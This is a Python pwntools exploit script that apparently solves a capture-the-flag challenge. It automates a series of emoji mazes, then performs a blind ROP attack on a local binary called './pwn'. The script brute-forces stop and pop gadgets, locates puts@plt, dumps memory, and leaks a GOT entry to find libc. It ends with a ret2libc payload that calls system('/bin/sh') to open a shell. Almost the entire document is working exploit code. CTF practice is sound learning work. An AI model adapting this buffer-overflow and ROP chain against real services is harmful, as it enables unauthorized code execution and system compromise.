1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
|
""" x1do0 / Lilac """
from pwn import *
import numpy as np
def generate_map(level, io):
size = level + 10
startX = 0
startY = 0
endX = 0
endY = 0
mapStatus = np.zeros((size, size, 2), dtype=np.uint8)
for i in range(size):
s = io.recvuntil('\n',drop=True)
cnt = 0
for j in range(size):
if s[cnt:cnt+3] == b"\xe2\xac\x9c" :
mapStatus[i,j,0]=1
cnt += 3
elif s[cnt:cnt+3] == b"\xe2\xac\x9b" :
cnt += 3
continue
elif s[cnt:cnt+4] == b'\xf0\x9f\x9a\xa9':
cnt += 4
mapStatus[i,j,0]=1
endX = i
endY = j
elif s[cnt:cnt+4] == b'\xf0\x9f\x98\x80':
cnt += 4
startX = i
startY = j
else :
print("error in ({},{}):{}".format(i,j,hex(ord(s[cnt]))))
exit(0)
return startX, startY, endX, endY, mapStatus
def find_route(startX, startY, endX, endY, mapStatus, level):
route = [[startX,startY]]
x = startX
y = startY
direction = []
size = level + 10
# print(level)
while x != endX or y != endY:
# print("{},({},{})".format(direction,x,y))
mapStatus[x,y,1] = 1
if x>0:
if mapStatus[x-1,y,0] == 1 and mapStatus[x-1,y,1] == 0:
x = x - 1
route.append([x,y])
direction.append('w')
continue
if x<size-1:
if mapStatus[x+1,y,0] == 1 and mapStatus[x+1,y,1] == 0:
x = x + 1
route.append([x,y])
direction.append('s')
continue
if y>0:
if mapStatus[x,y-1,0] == 1 and mapStatus[x,y-1,1] == 0:
y = y - 1
route.append([x,y])
direction.append('a')
continue
if y<size-1:
if mapStatus[x,y+1,0] == 1 and mapStatus[x,y+1,1] == 0:
y = y + 1
route.append([x,y])
direction.append('d')
continue
route.pop()
direction.pop()
x,y = route.pop()
route.append([x,y])
# print("round{} finished!".format(level))
return direction
def test_map(startX, startY, endX, endY, mapStatus, level):
print("round{}:".format(level))
print("start point:{},{}".format(startX,startY))
print("end point:{},{}".format(endX,endY))
for i in range(level+10):
for j in range(level+10):
print("{} ".format(mapStatus[i,j,0]), end=''),
print("")
def solve_maze(io):
for i in range(10, 30):
io.recvuntil("*** Maze ")
level = int(io.recvuntil(" ***", drop=True), 10)
io.recvuntil("\n")
startX, startY, endX, endY, mapStatus = generate_map(level, io)
# test_map(startX, startY, endX, endY, mapStatus, level)
direction = find_route(startX, startY, endX, endY, mapStatus, level)
pay = ''
for d in direction:
pay += d
io.sendline(pay)
buffer_len = 0x28
main_addr = 0
gadgets_addr = 0
pop_rdi_ret_addr = 0
puts_plt_addr = 0
def GetStopAddr():
address = 0x401200
while 1:
print(hex(address))
try:
sh = process('./pwn')
solve_maze(sh)
sh.recvuntil('Leave your name in Lilac Hall of Fame')
payload = b'a'*buffer_len + p64(address)
sh.send(payload)
sh.recvuntil('Glad you come~\n')
output = sh.recv(timeout=1)
print(output)
if b'Okay there you are, coooool!' not in output:
sh.close()
address += 1
else:
return address
except EOFError:
address += 1
sh.close()
def GetBropGadgets(buf_length, stop_gadgets, address):
try:
sh = process('./pwn')
solve_maze(sh)
sh.recvuntil('Leave your name in Lilac Hall of Fame')
#寻找 pop_rbx_rbp_r12_r13_r14_r15_ret
payload = b'a'*buf_length + p64(address) + p64(0)*6 + p64(stop_gadgets)
sh.sendline(payload)
sh.recvuntil('Glad you come~\n')
output = sh.recv(timeout=1)
print(output)
sh.close()
if b'Okay there you are, coooool!' not in output:
return False
return True
except Exception:
sh.close()
return False
def check(buf_length, address):
try:
sh = process('./pwn')
solve_maze(sh)
sh.recvuntil('Leave your name in Lilac Hall of Fame')
payload = b'a'*buf_length + p64(address) + p64(0)*6 + p64(0xdeadbeef)
sh.sendline(payload)
output = sh.recvuntil('Glad you come~\n')
sh.recv(timeout=1) # 超时引发异常
sh.close()
return False
except Exception:
sh.close()
return True
def GetInitGadgetsAddr():
global buffer_len, main_addr, pop_rdi_ret_addr
address = 0x401A00
while 1:
print(hex(address))
if GetBropGadgets(buffer_len, main_addr, address):
print('possible gadget: 0x%x' % address)
if check(buffer_len, address):
print('success gadget: 0x%x' % address)
return address
break
address += 1
def GetPutsPlt():
global buffer_len, main_addr
# addr = 0x400500
addr = 0x401000
while 1:
print(hex(addr))
try:
sh = process('./pwn')
solve_maze(sh)
sh.recvuntil('Leave your name in Lilac Hall of Fame')
payload = b'a'*buffer_len + p64(pop_rdi_ret_addr) + p64(0x400000) + p64(addr) + p64(main_addr)
sh.sendline(payload)
sh.recvuntil('Glad you come~\n')
output = sh.recv()
sh.close()
print(output)
if b'\x7fELF' in output and b'Okay there you are, coooool!' in output:
print('puts plt address = 0x%x' % addr)
return addr
addr += 1
except Exception:
sh.close()
addr += 1
def dump(leak_addr):
global buffer_len, pop_rdi_ret_addr, pop_rdi_ret_addr, main_addr, puts_plt_addr
sh = process('./pwn')
solve_maze(sh)
sh.recvuntil('Leave your name in Lilac Hall of Fame')
payload = b'a'*buffer_len + p64(pop_rdi_ret_addr) + p64(leak_addr) + p64(puts_plt_addr) + p64(main_addr)
sh.sendline(payload)
sh.recvuntil('Glad you come~\n')
try:
data = sh.recvuntil('\nOkay there you are, coooool!', drop=True)
sh.close()
if data == b"":
data = b'\x00'
sh.close()
return data
except:
sh.close()
return None
# main_addr = GetStopAddr()
# print(hex(main_addr))
main_addr = 0x4012be
# gadgets_addr = GetInitGadgetsAddr()
# print(hex(gadgets_addr))
gadgets_addr = 0x401a4a
pop_rdi_ret_addr = gadgets_addr + 9
# puts_plt_addr = GetPutsPlt()
# print(hex(puts_plt_addr))
puts_plt_addr = 0x401028
# leak_addr = 0x400000
# result = b""
# while leak_addr < 0x401300:
# print(hex(leak_addr))
# data = dump(leak_addr)
# print(data)
# if data is None:
# continue
# else:
# result += data
# leak_addr += len(data)
# with open('./code','wb') as f:
# f.write(result)
context.terminal = ['tmux', 'splitw', '-h']
something_got = 0x404018
sh = process('./pwn')
solve_maze(sh)
sh.recvuntil('Leave your name in Lilac Hall of Fame')
payload = b'a'*buffer_len + p64(pop_rdi_ret_addr) + p64(something_got) + p64(puts_plt_addr) + p64(main_addr)
sh.sendline(payload)
sh.recvuntil('Glad you come~\n')
data = sh.recvuntil('\nOkay there you are, coooool!', drop=True)
libc_base = u64(data + b'\x00\x00') - 554400
print(hex(libc_base))
bin_sh = libc_base + 1799594
system = libc_base + 349200
sh.recvuntil('Leave your name in Lilac Hall of Fame')
payload = b'a'*buffer_len + p64(0x40129A) + p64(pop_rdi_ret_addr) + p64(bin_sh) + p64(system) + p64(main_addr)
sh.sendline(payload)
sh.interactive()
|